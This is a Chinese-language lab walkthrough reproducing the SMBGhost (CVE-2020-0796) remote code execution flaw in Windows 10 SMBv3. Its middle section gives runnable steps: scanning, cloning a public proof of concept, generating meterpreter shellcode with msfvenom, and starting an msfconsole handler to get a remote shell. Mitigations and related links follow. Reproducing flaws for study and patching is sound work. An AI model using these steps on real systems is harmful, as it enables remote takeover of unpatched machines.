CVE-2020-0796漏洞复现(RCE)
0x01 漏洞简介
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。 该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外,该漏洞得亮点在于对SMB客户端的攻击,攻击者可以构造特定的网页,压缩包,共享目录,OFFICE文档等多种方式触发漏洞进行攻击。
0x02 影响范围
漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 (Server Core installation) Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows Server, Version 1909 (Server Core installation)
SMB介绍
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。 Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。 利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
0x03 复现步骤
环境要求
1.win10虚拟机(1903或者1909版本) ip:192.168.5.131 这里给一个win10 1903版本的镜像
ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/
2.关闭defender和防火墙 3.Kali Linux(确保可以和win10虚拟机ping通) ip:192.168.5.128
利用步骤
(1)首先检测目标是否存在漏洞,下载检测POC https://github.com/ollypwn/SMBGhost 控制台输入python3 scanner.py <目标ip>来进行检测 发现存在漏洞 (2)然后下载利用poc git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git 然后切换到对应目录下找到exploit.py 再找到这一段 (3)生成python的反弹shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o exp.py
然后将shellcode里的buf全部改成USER_PAYLOAD再将修改好的shellcode粘贴到exploit.py上我们刚才找到的位置,以便将获得的shell反弹到我们的kail上 (4)启动msfconsole,设置监听端口 msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp msf5 exploit(multi/handler) > set rhost 192.168.5.145 rhost => 192.168.5.145 msf5 exploit(multi/handler) > set lport 1234 lport => 1234 msf5 exploit(multi/handler) > run 开启监听端口后,再去运行exploit.py python3 exploit.py -ip 192.168.5.145 成功反弹shell,查看当前用户权限 注意:虽然这次成功了,但是这个rce的poc还不是很稳定,经常容易打蓝屏和死机。
本地提权
利用这个漏洞的还可以本地提权,就不赘述了。 http://www.fr1sh.com/?post=26
0x04 漏洞修复
1. 更新,完成补丁的安装。 操作步骤:设置>更新和安全>Windows更新,点击“检查更新”。 2.微软给出了临时的应对办法: 运行regedit.exe,打开注册表编辑器,在 HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为 DisableCompression的DWORD,值为1,禁止SMB的压缩功能。 3.对SMB通信445端口进行封禁。 4.补丁链接 https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762
- CVE-2020-0796 SMBGhost漏洞复现
- [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
- cve-2019-0708 exp 漏洞复现(bluekeep rce)
- 【漏洞通告】微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)通告
- CVE-2020-1938:Apache Tomcat-AJP任意文件读取漏洞复现
- CVE-2020-1938 Apache-Tomcat-Ajp漏洞复现,加固,你想要的姿势这里都有
- CVE-2020-10560 OSSN任意文件读取漏洞复现
- CVE-2020-0796 SMB 远程代码执行漏洞分析、验证及加固
- CVE-2020-0796 SMB远程代码执行漏洞 分析、验证及加固
- CVE-2020-0601:微软核心加密库漏洞复现
- CVE-2020-0796:SMBv3中蠕虫级别的漏洞
- 漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562
- Tomcat任意文件读取漏洞复现,编号:CVE-2020-1938
- CVE-2020-0796 漏洞分析报告(最详细)
- 更新:远程无损扫描工具公开发布| 微软Windows SMBv3服务远程代码执行漏洞(CVE-2020-0796)通告
- Windows10 SMBv3漏洞CVE_2020_0796的检测和利用
- CVE-2020-8417:WP Code Snippets CSRF RCE漏洞
- Apache Tomcat Ajp-CVE-2020-1938漏洞复现
- 【漏洞通告】微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)处置手册
- 微软意外泄露未修复的CVE-2020-0796蠕虫漏洞